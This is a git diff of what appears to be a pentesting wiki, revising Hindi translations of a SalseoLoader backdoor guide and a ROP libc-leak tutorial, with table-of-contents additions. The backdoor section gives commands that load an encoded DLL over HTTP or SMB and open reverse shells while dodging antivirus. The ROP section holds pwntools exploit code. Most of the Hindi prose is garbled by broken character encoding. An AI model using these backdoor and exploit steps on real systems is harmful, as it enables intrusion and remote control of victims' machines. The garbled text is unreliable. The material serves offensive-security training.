diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 53398bb51..cac3fa3dc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,8 +284,10 @@ - [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md) - [Lateral Movement](windows-hardening/lateral-movement/README.md) - [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md) - - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md) + - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md) - [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) + - [RDPexec](windows-hardening/lateral-movement/rdpexec.md) + - [SCMexec](windows-hardening/lateral-movement/scmexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) @@ -299,6 +301,7 @@ - [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md) - [Antivirus (AV) Bypass](windows-hardening/av-bypass.md) - [Cobalt Strike](windows-hardening/cobalt-strike.md) +- [Mythic](windows-hardening/mythic.md) # ЁЯУ▒ Mobile Pentesting diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 37c3c041f..e85ebfc6e 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,15 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -## рдмрд╛рдЗрдирд░реА рд╕рдВрдХрд▓рди +## рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ -рдЧрд┐рдЯрд╣рдм рд╕реЗ рд╕реНрд░реЛрдд рдХреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ **EvilSalsa** рдФрд░ **SalseoLoader** рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВред рдЖрдкрдХреЛ рдХреЛрдб рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **Visual Studio** рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред +рдЧрд┐рдЯрд╣рдм рд╕реЗ рд╕реНрд░реЛрдд рдХреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ **EvilSalsa** рдФрд░ **SalseoLoader** рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВред рдЖрдкрдХреЛ рдХреЛрдб рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **Visual Studio** рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдЙрди рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХреЛ рдЙрд╕ рд╡рд┐рдВрдбреЛрдЬ рдмреЙрдХреНрд╕ рдХреА рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреЗ рд▓рд┐рдП рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (рдпрджрд┐ рд╡рд┐рдВрдбреЛрдЬ x64 рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рддреЛ рдЙрдиреНрд╣реЗрдВ рдЙрд╕ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреЗ рд▓рд┐рдП рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ)ред рдЖрдк **Visual Studio** рдореЗрдВ **рдмрд╛рдПрдВ "Build" рдЯреИрдм** рдореЗрдВ **"Platform Target"** рдХреЗ рдЕрдВрджрд░ **рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХрд╛ рдЪрдпрди** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -(\*\*рдпрджрд┐ рдЖрдк рдпреЗ рд╡рд┐рдХрд▓реНрдк рдирд╣реАрдВ рдвреВрдВрдв рдкрд╛ рд░рд╣реЗ рд╣реИрдВ рддреЛ **"Project Tab"** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ **"\ Properties"** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ) +(**рдпрджрд┐ рдЖрдк рдпреЗ рд╡рд┐рдХрд▓реНрдк рдирд╣реАрдВ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ рддреЛ **"Project Tab"** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ **"\ Properties"** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ) ![](<../images/image (132).png>) @@ -32,25 +32,25 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa. EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` -рдареАрдХ рд╣реИ, рдЕрдм рдЖрдкрдХреЗ рдкрд╛рд╕ Salseo рдЪреАрдЬрд╝реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдм рдХреБрдЫ рд╣реИ: **encoded EvilDalsa.dll** рдФрд░ **SalseoLoader рдХрд╛ рдмрд╛рдЗрдирд░реАред** +рдареАрдХ рд╣реИ, рдЕрдм рдЖрдкрдХреЗ рдкрд╛рд╕ Salseo рдЪреАрдЬрд╝ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдм рдХреБрдЫ рд╣реИ: **encoded EvilDalsa.dll** рдФрд░ **SalseoLoader рдХрд╛ рдмрд╛рдЗрдирд░реАред** **SalseoLoader.exe рдмрд╛рдЗрдирд░реА рдХреЛ рдорд╢реАрди рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред рдЙрдиреНрд╣реЗрдВ рдХрд┐рд╕реА рднреА AV рджреНрд╡рд╛рд░рд╛ рдирд╣реАрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП...** ## **рдмреИрдХрдбреЛрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ** -### **TCP рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ encoded dll рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛)** +### **TCP рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб dll рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛)** -рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд▓рд┐рд╕реНрдирд░ рдХреЗ рд░реВрдк рдореЗрдВ nc рд╢реБрд░реВ рдХрд░реЗрдВ рдФрд░ encoded evilsalsa рдХреЛ рд╕рд░реНрд╡ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ HTTP рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВред +рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд▓рд┐рд╕реНрдирд░ рдХреЗ рд░реВрдк рдореЗрдВ nc рд╢реБрд░реВ рдХрд░реЗрдВ рдФрд░ рдПрдиреНрдХреЛрдбреЗрдб evilsalsa рдХреЛ рд╕рд░реНрд╡ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ HTTP рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВред ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` ### **UDP рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб dll рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛)** -рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд▓рд┐рд╕реНрдирд░ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ nc рд╢реБрд░реВ рдХрд░реЗрдВ, рдФрд░ рдПрдиреНрдХреЛрдбреЗрдб evilsalsa (impacket-smbserver) рдХреЛ рд╕рд░реНрд╡ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ SMB рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВред +рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╢реНрд░реЛрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ nc рд╢реБрд░реВ рдХрд░реЗрдВ, рдФрд░ рдПрдиреНрдХреЛрдбреЗрдб evilsalsa (impacket-smbserver) рдХреЛ рд╕реЗрд╡рд╛ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ SMB рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВред ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **ICMP рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (рд╡рд┐рдХреНрдЯрд┐рдо рдХреЗ рдЕрдВрджрд░ рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб dll)** +### **ICMP рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (рдХреЛрдбрд┐рдд dll рдкрд╣рд▓реЗ рд╕реЗ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЕрдВрджрд░)** **рдЗрд╕ рдмрд╛рд░ рдЖрдкрдХреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдореЗрдВ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЙрдкрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) @@ -71,7 +71,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` ## SalseoLoader рдХреЛ DLL рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ рдЬреЛ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд░реНрдпрд╛рдд рдХрд░рддрд╛ рд╣реИ -Visual Studio рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ SalseoLoader рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЦреЛрд▓реЗрдВред +SalseoLoader рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ Visual Studio рдореЗрдВ рдЦреЛрд▓реЗрдВред ### рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдкрд╣рд▓реЗ рдЬреЛрдбрд╝реЗрдВ: \[DllExport] @@ -87,7 +87,7 @@ Visual Studio рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ SalseoLoader рдкреНрд░реЛрдЬ ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -рдЖрдкрдХреЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ рдкреНрд░рдХрдЯ рд╣реБрдИ рд╣реИрдВ: **DllExport.bat** рдФрд░ **DllExport_Configure.bat** +рдЖрдкрдХреЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ рджрд┐рдЦрд╛рдИ рджреА рд╣реИрдВ: **DllExport.bat** рдФрд░ **DllExport_Configure.bat** ### **U**ninstall DllExport @@ -97,11 +97,11 @@ Visual Studio рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ SalseoLoader рдкреНрд░реЛрдЬ ### **Visual Studio рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ рдФрд░ DllExport_configure рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ** -рдмрд╕ **рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ** Visual Studio +рдмрд╕ **рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ** Visual Studio рд╕реЗ рдлрд┐рд░, рдЕрдкрдиреЗ **SalseoLoader рдлрд╝реЛрд▓реНрдбрд░** рдореЗрдВ рдЬрд╛рдПрдВ рдФрд░ **DllExport_Configure.bat** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ -**x64** рдЪреБрдиреЗрдВ (рдпрджрд┐ рдЖрдк рдЗрд╕реЗ x64 рдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдореЗрд░рд╛ рдорд╛рдорд▓рд╛ рдерд╛), **System.Runtime.InteropServices** рдЪреБрдиреЗрдВ ( **DllExport рдХреЗ рд▓рд┐рдП Namespace** рдХреЗ рдЕрдВрджрд░) рдФрд░ **Apply** рджрдмрд╛рдПрдВ +**x64** рдЪреБрдиреЗрдВ (рдпрджрд┐ рдЖрдк рдЗрд╕реЗ x64 рдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдореЗрд░рд╛ рдорд╛рдорд▓рд╛ рдерд╛), **System.Runtime.InteropServices** рдЪреБрдиреЗрдВ ( **DllExport рдХреЗ рд▓рд┐рдП Namespace рдХреЗ рдЕрдВрджрд░**) рдФрд░ **Apply** рджрдмрд╛рдПрдВ ![](<../images/image (7) (1) (1) (1) (1).png>) @@ -125,7 +125,7 @@ Visual Studio рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ SalseoLoader рдкреНрд░реЛрдЬ ### рдЙрддреНрдкрдиреНрди Dll рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ -Dll рдХреЛ рдХреЙрдкреА рдФрд░ рдкреЗрд╕реНрдЯ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред +Dll рдХреЛ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ рдХреЙрдкреА рдФрд░ рдкреЗрд╕реНрдЯ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ: ``` diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 1a3cbb205..b55e3f181 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -5,8 +5,8 @@ ## рддреНрд╡рд░рд┐рдд рд╕рд╛рд░рд╛рдВрд╢ 1. **рдУрд╡рд░рдлреНрд▓реЛ** **рдСрдлрд╕реЗрдЯ** рдЦреЛрдЬреЗрдВ -2. **рдЦреЛрдЬреЗрдВ** `POP_RDI` рдЧреИрдЬреЗрдЯ, `PUTS_PLT` рдФрд░ `MAIN` рдЧреИрдЬреЗрдЯ -3. рдкрд┐рдЫрд▓реЗ рдЧреИрдЬреЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ **puts** рдпрд╛ рдЕрдиреНрдп libc рдлрд╝рдВрдХреНрд╢рди рдХрд╛ **рдореЗрдореЛрд░реА рдкрддрд╛ рд▓реАрдХ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдФрд░ **libc рд╕рдВрд╕реНрдХрд░рдг рдЦреЛрдЬреЗрдВ** ([donwload it](https://libc.blukat.me)) +2. `POP_RDI` рдЧреИрдЬреЗрдЯ, `PUTS_PLT` рдФрд░ `MAIN` рдЧреИрдЬреЗрдЯ рдЦреЛрдЬреЗрдВ +3. рдкрд┐рдЫрд▓реЗ рдЧреИрдЬреЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **puts рдпрд╛ рдЕрдиреНрдп libc рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдореЗрдореЛрд░реА рдкрддрд╛ рд▓реАрдХ рдХрд░реЗрдВ** рдФрд░ **libc рд╕рдВрд╕реНрдХрд░рдг рдЦреЛрдЬреЗрдВ** ([рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ](https://libc.blukat.me)) 4. рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд╕рд╛рде, **ROP рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВ** ## рдЕрднреНрдпрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдФрд░ рдмрд╛рдЗрдирд░реА @@ -57,7 +57,7 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░реЗрдВ** `python template.py` рдПрдХ GDB рдХрдВрд╕реЛрд▓ рдЦреЛрд▓рд╛ рдЬрд╛рдПрдЧрд╛ рдЬрд┐рд╕рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреНрд░реИрд╢ рд╣реЛ рд░рд╣рд╛ рд╣реИред рдЙрд╕ **GDB рдХрдВрд╕реЛрд▓** рдХреЗ рдЕрдВрджрд░ `x/wx $rsp` рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ **рдмрд╛рдЗрдЯреНрд╕** рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗрдВ рдЬреЛ RIP рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдереЗред рдЕрдВрдд рдореЗрдВ рдПрдХ **python** рдХрдВрд╕реЛрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдСрдлрд╕реЗрдЯ** рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: +**рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░реЗрдВ** `python template.py` рдПрдХ GDB рдХрдВрд╕реЛрд▓ рдЦреЛрд▓рд╛ рдЬрд╛рдПрдЧрд╛ рдЬрд┐рд╕рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреНрд░реИрд╢ рд╣реЛ рд░рд╣рд╛ рд╣реИред рдЙрд╕ **GDB рдХрдВрд╕реЛрд▓** рдХреЗ рдЕрдВрджрд░ `x/wx $rsp` рдЪрд▓рд╛рдПрдБ рддрд╛рдХрд┐ **рдмрд╛рдЗрдЯреНрд╕** рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗрдВ рдЬреЛ RIP рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдереЗред рдЕрдВрдд рдореЗрдВ рдПрдХ **python** рдХрдВрд╕реЛрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдСрдлрд╕реЗрдЯ** рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: ```python from pwn import * cyclic_find(0x6161616b) @@ -71,7 +71,7 @@ cyclic_find(0x6161616b) ## 2- рдЧреИрдЬреЗрдЯреНрд╕ рдЦреЛрдЬрдирд╛ -рдЕрдм рд╣рдореЗрдВ рдмрд╛рдЗрдирд░реА рдХреЗ рдЕрдВрджрд░ ROP рдЧреИрдЬреЗрдЯреНрд╕ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпреЗ ROP рдЧреИрдЬреЗрдЯреНрд╕ `puts` рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдВрдЧреЗ рддрд╛рдХрд┐ **libc** рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдФрд░ рдмрд╛рдж рдореЗрдВ **рдЕрдВрддрд┐рдо рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд▓реЙрдиреНрдЪ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред +рдЕрдм рд╣рдореЗрдВ рдмрд╛рдЗрдирд░реА рдХреЗ рдЕрдВрджрд░ ROP рдЧреИрдЬреЗрдЯреНрд╕ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпреЗ ROP рдЧреИрдЬреЗрдЯреНрд╕ `puts` рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдВрдЧреЗ рддрд╛рдХрд┐ **libc** рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдФрд░ рдмрд╛рдж рдореЗрдВ **рдЕрдВрддрд┐рдо рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ** рдХреЛ **рд▓реЙрдиреНрдЪ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -83,14 +83,14 @@ log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` `PUTS_PLT` рдХреЛ **function puts** рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред\ -`MAIN_PLT` рдХреЛ **main function** рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдПрдХ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рдмрд╛рдж **overflow** рдХреЛ **рдлрд┐рд░ рд╕реЗ** **exploit** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рд╢рд╛рд╢реНрд╡рдд рд╢реЛрд╖рдг рдХреЗ рд░рд╛рдЙрдВрдб)ред **рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ ROP рдХреЗ рдЕрдВрдд рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред**\ +`MAIN_PLT` рдХреЛ **exploit** рдХреЗ рд▓рд┐рдП **overflow** рдХреЛ **рдлрд┐рд░ рд╕реЗ** рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рд╢рд╛рд╢реНрд╡рдд рд╢реЛрд╖рдг рдХреЗ рджреМрд░)ред **рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ ROP рдХреЗ рдЕрдВрдд рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред**\ **POP_RDI** рдХреЛ рдХреЙрд▓ рдХреА рдЧрдИ рдлрд╝рдВрдХреНрд╢рди рдХреЛ **parameter** **pass** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕ рдЪрд░рдг рдореЗрдВ рдЖрдкрдХреЛ рдХреБрдЫ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рдм рдХреБрдЫ pwntools рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди рдкрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред -## 3- libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЦреЛрдЬрдирд╛ +## 3- libc рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЦреЛрдЬрдирд╛ -рдЕрдм рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ рдХрд┐ рдХреМрди рд╕реА **libc** рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо **function** `puts` рдХреЗ рдореЗрдореЛрд░реА рдореЗрдВ **address** рдХреЛ **leak** рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд╣рдо рдпрд╣ **рдЦреЛрдЬрдиреЗ** рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдЙрд╕ рдкрддреЗ рдореЗрдВ puts рд╕рдВрд╕реНрдХрд░рдг рдХрд┐рд╕ **library version** рдореЗрдВ рд╣реИред +рдЕрдм рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ рдХрд┐ рдХреМрди рд╕реА **libc** рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо **leak** рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ **address** рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ **function** `puts` рдХрд╛ рдФрд░ рдлрд┐рд░ рд╣рдо рдпрд╣ **search** рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдЙрд╕ рдкрддреЗ рдореЗрдВ puts рд╕рдВрд╕реНрдХрд░рдг рдХрд┐рд╕ **library version** рдореЗрдВ рд╣реИред ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -119,13 +119,13 @@ if libc == "": print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") p.interactive() ``` -рдЗрд╕рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреЛрдб рдХреА рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрдВрдХреНрддрд┐ рд╣реИ: +рдЗрд╕рд▓рд┐рдП, 